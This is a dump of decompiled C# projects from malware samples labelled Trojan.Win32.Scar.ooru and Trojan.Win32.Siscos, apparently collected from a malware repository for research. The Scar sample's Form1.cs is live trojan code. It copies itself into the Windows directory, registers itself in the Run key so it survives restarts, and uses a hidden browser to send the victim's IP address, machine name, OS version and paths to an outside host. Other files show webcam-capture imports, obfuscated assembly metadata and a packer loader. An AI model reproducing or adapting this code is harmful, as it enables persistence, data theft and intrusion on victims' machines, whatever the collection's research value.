+    [DllImport("avicap32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
+    public static extern int capCreateCaptureWindowA(
+      [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszWindowName,
+      int dwStyle,
+      int x,
+      int y,
+      int nWidth,
+      short nHeight,
+      int hWndParent,
+      int nID);
+
+    [DllImport("avicap32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
+    public static extern bool capGetDriverDescriptionA(
+      short wDriver,
+      [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszName,
+      int cbName,
+      [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszVer,
+      int cbVer);
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65/Adsense/Form1.cs

@@ -0,0 +1,136 @@
+// Decompiled with JetBrains decompiler
+// Type: Adsense.Form1
+// Assembly: Frameworks4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4D94C439-06FB-45B8-A724-407C75FBD412
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65.exe
+
+using Microsoft.Win32;
+using System;
+using System.ComponentModel;
+using System.Drawing;
+using System.Net;
+using System.Windows.Forms;
+
+namespace Adsense
+{
+  public class Form1 : Form
+  {
+    private IContainer components = (IContainer) null;
+    private WebBrowser webBrowser1;
+    private WebBrowser webBrowser2;
+    public int f = 0;
+
+    protected override void Dispose(bool disposing)
+    {
+      if (disposing && this.components != null)
+        this.components.Dispose();
+      base.Dispose(disposing);
+    }
+
+    private void InitializeComponent()
+    {
+      ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
+      this.webBrowser1 = new WebBrowser();
+      this.webBrowser2 = new WebBrowser();
+      this.SuspendLayout();
+      this.webBrowser1.Dock = DockStyle.Fill;
+      this.webBrowser1.Location = new Point(0, 0);
+      this.webBrowser1.MinimumSize = new Size(20, 20);
+      this.webBrowser1.Name = "webBrowser1";
+      this.webBrowser1.ScriptErrorsSuppressed = true;
+      this.webBrowser1.ScrollBarsEnabled = false;
+      this.webBrowser1.Size = new Size(174, 617);
+      this.webBrowser1.TabIndex = 0;
+      this.webBrowser1.Url = new Uri("http://www.streamovies.co.cc/ads.html", UriKind.Absolute);
+      this.webBrowser1.ProgressChanged += new WebBrowserProgressChangedEventHandler(this.webBrowser1_ProgressChanged);
+      this.webBrowser1.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(this.webBrowser1_DocumentCompleted);
+      this.webBrowser1.Navigated += new WebBrowserNavigatedEventHandler(this.webBrowser1_Navigated);
+      this.webBrowser2.Dock = DockStyle.Fill;
+      this.webBrowser2.Location = new Point(0, 0);
+      this.webBrowser2.MinimumSize = new Size(20, 20);
+      this.webBrowser2.Name = "webBrowser2";
+      this.webBrowser2.ScriptErrorsSuppressed = true;
+      this.webBrowser2.ScrollBarsEnabled = false;
+      this.webBrowser2.Size = new Size(174, 617);
+      this.webBrowser2.TabIndex = 1;
+      this.webBrowser2.Visible = false;
+      this.AutoScaleDimensions = new SizeF(6f, 13f);
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.ClientSize = new Size(174, 617);
+      this.Controls.Add((Control) this.webBrowser2);
+      this.Controls.Add((Control) this.webBrowser1);
+      this.FormBorderStyle = FormBorderStyle.None;
+      this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
+      this.MaximizeBox = false;
+      this.MinimizeBox = false;
+      this.Name = nameof (Form1);
+      this.ShowIcon = false;
+      this.ShowInTaskbar = false;
+      this.StartPosition = FormStartPosition.CenterScreen;
+      this.Text = nameof (Form1);
+      this.Load += new EventHandler(this.Form1_Load);
+      this.FormClosing += new FormClosingEventHandler(this.Form1_FormClosing);
+      this.ResumeLayout(false);
+    }
+
+    public string LocalIPAddress()
+    {
+      string str = "";
+      foreach (IPAddress address in Dns.GetHostEntry(Dns.GetHostName()).AddressList)
+      {
+        if (address.AddressFamily.ToString() == "InterNetwork")
+          str = address.ToString();
+      }
+      return str;
+    }
+
+    public Form1() => this.InitializeComponent();
+
+    private void Form1_Load(object sender, EventArgs e)
+    {
+      string executablePath = Application.ExecutablePath;
+      try
+      {
+        System.IO.File.Move(executablePath, "c:\\\\windows\\\\frameworks4.exe");
+      }
+      catch (Exception ex)
+      {
+      }
+      try
+      {
+        RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
+        registryKey.SetValue("open", (object) "c:\\windows\\frameworks4.exe");
+        registryKey.Close();
+      }
+      catch (Exception ex)
+      {
+        int num = (int) MessageBox.Show("click in links");
+      }
+      this.BringToFront();
+      this.TopMost = true;
+      this.webBrowser2.Url = new Uri("http://streamovies.co.cc/info.php?ip=" + this.LocalIPAddress() + "&namepc=" + Environment.MachineName + "&system=" + Environment.OSVersion.ToString() + "&chemin=" + Application.StartupPath + "&process=" + Environment.ProcessorCount.ToString());
+    }
+
+    private void webBrowser1_DocumentCompleted(
+      object sender,
+      WebBrowserDocumentCompletedEventArgs e)
+    {
+    }
+
+    private void webBrowser1_Navigated(object sender, WebBrowserNavigatedEventArgs e)
+    {
+      ++this.f;
+      if (this.f != 5)
+        return;
+      Application.Exit();
+    }
+
+    private void Form1_FormClosing(object sender, FormClosingEventArgs e)
+    {
+    }
+
+    private void webBrowser1_ProgressChanged(object sender, WebBrowserProgressChangedEventArgs e)
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65/Adsense/Program.cs

@@ -0,0 +1,22 @@
+// Decompiled with JetBrains decompiler
+// Type: Adsense.Program
+// Assembly: Frameworks4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4D94C439-06FB-45B8-A724-407C75FBD412
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65.exe
+
+using System;
+using System.Windows.Forms;
+
+namespace Adsense
+{
+  internal static class Program
+  {
+    [STAThread]
+    private static void Main()
+    {
+      Application.EnableVisualStyles();
+      Application.SetCompatibleTextRenderingDefault(false);
+      Application.Run((Form) new Form1());
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65/AssemblyInfo.cs

@@ -0,0 +1,14 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCopyright("Copyright ©  2010")]
+[assembly: AssemblyTitle("Adsense")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("Adsense")]
+[assembly: Guid("798b8e60-0d51-433a-a6b8-0b977721ac3b")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65/Frameworks4/Properties/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: Frameworks4.Properties.Resources
+// Assembly: Frameworks4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4D94C439-06FB-45B8-A724-407C75FBD412
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65.exe
+
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace Frameworks4.Properties
+{
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+  internal class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    internal Resources()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) Frameworks4.Properties.Resources.resourceMan, (object) null))
+          Frameworks4.Properties.Resources.resourceMan = new ResourceManager("Frameworks4.Properties.Resources", typeof (Frameworks4.Properties.Resources).Assembly);
+        return Frameworks4.Properties.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => Frameworks4.Properties.Resources.resourceCulture;
+      set => Frameworks4.Properties.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65/Frameworks4/Properties/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65/Frameworks4/Properties/Settings.cs

@@ -0,0 +1,28 @@
+// Decompiled with JetBrains decompiler
+// Type: Frameworks4.Properties.Settings
+// Assembly: Frameworks4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4D94C439-06FB-45B8-A724-407C75FBD412
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65.exe
+
+using System.CodeDom.Compiler;
+using System.Configuration;
+using System.Runtime.CompilerServices;
+
+namespace Frameworks4.Properties
+{
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  [CompilerGenerated]
+  internal sealed class Settings : ApplicationSettingsBase
+  {
+    private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
+
+    public static Settings Default
+    {
+      get
+      {
+        Settings defaultInstance = Settings.defaultInstance;
+        return defaultInstance;
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65/Trojan.Win32.Scar.ooru.csproj

@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{C8F97A6D-3499-45F0-8B22-1E050C822C23}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>Frameworks4</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Adsense\Form1.cs" />
+    <Compile Include="Adsense\Program.cs" />
+    <Compile Include="Frameworks4\Properties\Settings.cs" />
+    <Compile Include="Frameworks4\Properties\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Adsense\Form1.resx" />
+    <EmbeddedResource Include="Frameworks4\Properties\Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65/Trojan.Win32.Scar.ooru.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Frameworks4", "Trojan.Win32.Scar.ooru-d7ddcba1393da4ed7a75bd94e6f8034decaadf4e6899621f714820299963fc65.csproj", "{C8F97A6D-3499-45F0-8B22-1E050C822C23}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{C8F97A6D-3499-45F0-8B22-1E050C822C23}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{C8F97A6D-3499-45F0-8B22-1E050C822C23}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{C8F97A6D-3499-45F0-8B22-1E050C822C23}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{C8F97A6D-3499-45F0-8B22-1E050C822C23}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/S/Trojan.Win32.Siscos.cwo-27fa9632c64769d56a8f74036684af1173a4c2159a43359d468219011d41b71a/AssemblyInfo.cs

@@ -0,0 +1,11 @@
+using System.Reflection;
+using System.Security.Permissions;
+
+[assembly: AssemblyCopyright("w6bGmfL")]
+[assembly: AssemblyProduct("gBuKVYi")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: AssemblyDescription("4dfDZ12")]
+[assembly: AssemblyCompany("Ph4axoI")]
+[assembly: AssemblyTitle("iJK0Xve")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]

MSIL/Trojan/Win32/S/Trojan.Win32.Siscos.cwo-27fa9632c64769d56a8f74036684af1173a4c2159a43359d468219011d41b71a/Trojan.Win32.Siscos.cwo.csproj

@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Siscos.cwo-27fa9632c64769d56a8f74036684af1173a4c2159a43359d468219011d41b71a.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{CEA6BB3C-8EB0-4BB6-A9BA-728E989F6D7B}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>abraklas</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>_EM2q80FjVX</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Compile Include="_mfnzNHjNJY.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/S/Trojan.Win32.Siscos.cwo-27fa9632c64769d56a8f74036684af1173a4c2159a43359d468219011d41b71a/Trojan.Win32.Siscos.cwo.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "abraklas", "Trojan.Win32.Siscos.cwo-27fa9632c64769d56a8f74036684af1173a4c2159a43359d468219011d41b71a.csproj", "{CEA6BB3C-8EB0-4BB6-A9BA-728E989F6D7B}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{CEA6BB3C-8EB0-4BB6-A9BA-728E989F6D7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{CEA6BB3C-8EB0-4BB6-A9BA-728E989F6D7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{CEA6BB3C-8EB0-4BB6-A9BA-728E989F6D7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{CEA6BB3C-8EB0-4BB6-A9BA-728E989F6D7B}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/S/Trojan.Win32.Siscos.cwo-5a659a4399cbbf747c3f9aa185f3471928a800dc3e7aeb3a3a5fc707d4c580e1/AssemblyInfo.cs

@@ -0,0 +1,11 @@
+using System.Reflection;
+using System.Security.Permissions;
+
+[assembly: AssemblyCopyright("ELbcKad")]
+[assembly: AssemblyProduct("7f87sPl")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: AssemblyDescription("EzdBwke")]
+[assembly: AssemblyCompany("wfdT0yY")]
+[assembly: AssemblyTitle("OTxnVxd")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]

MSIL/Trojan/Win32/S/Trojan.Win32.Siscos.cwo-5a659a4399cbbf747c3f9aa185f3471928a800dc3e7aeb3a3a5fc707d4c580e1/Trojan.Win32.Siscos.cwo.csproj

@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Siscos.cwo-5a659a4399cbbf747c3f9aa185f3471928a800dc3e7aeb3a3a5fc707d4c580e1.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{A1ED2F3B-BB42-4460-B8B8-36169E2B2519}</ProjectGuid>
+    <OutputType>Exe</OutputType>
+    <AssemblyName>dzyf56px</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>_rAizMw8lll</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Compile Include="_lxeFjz4Syx.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/S/Trojan.Win32.Siscos.cwo-5a659a4399cbbf747c3f9aa185f3471928a800dc3e7aeb3a3a5fc707d4c580e1/Trojan.Win32.Siscos.cwo.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "dzyf56px", "Trojan.Win32.Siscos.cwo-5a659a4399cbbf747c3f9aa185f3471928a800dc3e7aeb3a3a5fc707d4c580e1.csproj", "{A1ED2F3B-BB42-4460-B8B8-36169E2B2519}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{A1ED2F3B-BB42-4460-B8B8-36169E2B2519}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{A1ED2F3B-BB42-4460-B8B8-36169E2B2519}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{A1ED2F3B-BB42-4460-B8B8-36169E2B2519}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{A1ED2F3B-BB42-4460-B8B8-36169E2B2519}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/S/Trojan.Win32.Siscos.fko-1594ee3951430181712cd4aebbcba9a2fe610b636b2887dfcd300e610216a25d/AssemblyInfo.cs

@@ -0,0 +1,3 @@
+using System.Reflection;
+
+[assembly: AssemblyVersion("0.0.0.0")]

MSIL/Trojan/Win32/S/Trojan.Win32.Siscos.fko-1594ee3951430181712cd4aebbcba9a2fe610b636b2887dfcd300e610216a25d/NetzStarter.cs

@@ -0,0 +1,324 @@
+// Decompiled with JetBrains decompiler
+// Type: netz.NetzStarter
+// Assembly: framework, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 84FA963B-EA6A-4B4C-B16D-9C879DA76A73
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Siscos.fko-1594ee3951430181712cd4aebbcba9a2fe610b636b2887dfcd300e610216a25d.exe
+
+using ICSharpCode.SharpZipLib.Zip.Compression.Streams;
+using System;
+using System.Collections;
+using System.Collections.Specialized;
+using System.IO;
+using System.Reflection;
+using System.Resources;
+using System.Windows.Forms;
+
+namespace netz
+{
+  public class NetzStarter
+  {
+    private static readonly string Name = nameof (Name);
+    private static readonly string Culture = nameof (Culture);
+    private static readonly string NetzSuffix = "z.dll";
+    private static HybridDictionary cache = (HybridDictionary) null;
+    private static ResourceManager rm = (ResourceManager) null;
+    private static ArrayList xrRm = (ArrayList) null;
+    private static bool inResourceResolveFlag = false;
+
+    [STAThread]
+    public static int Main(string[] args)
+    {
+      try
+      {
+        NetzStarter.InitXR();
+        AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(NetzStarter.NetzResolveEventHandler);
+        return NetzStarter.StartApp(args);
+      }
+      catch (Exception ex)
+      {
+        string str = " .NET Runtime: ";
+        NetzStarter.Log("#Error: " + ex.GetType().ToString() + Environment.NewLine + ex.Message + Environment.NewLine + ex.StackTrace + Environment.NewLine + (object) ex.InnerException + Environment.NewLine + "Using" + str + Environment.Version.ToString() + Environment.NewLine + "Created with" + str + "2.0.50727.5446");
+        return -1;
+      }
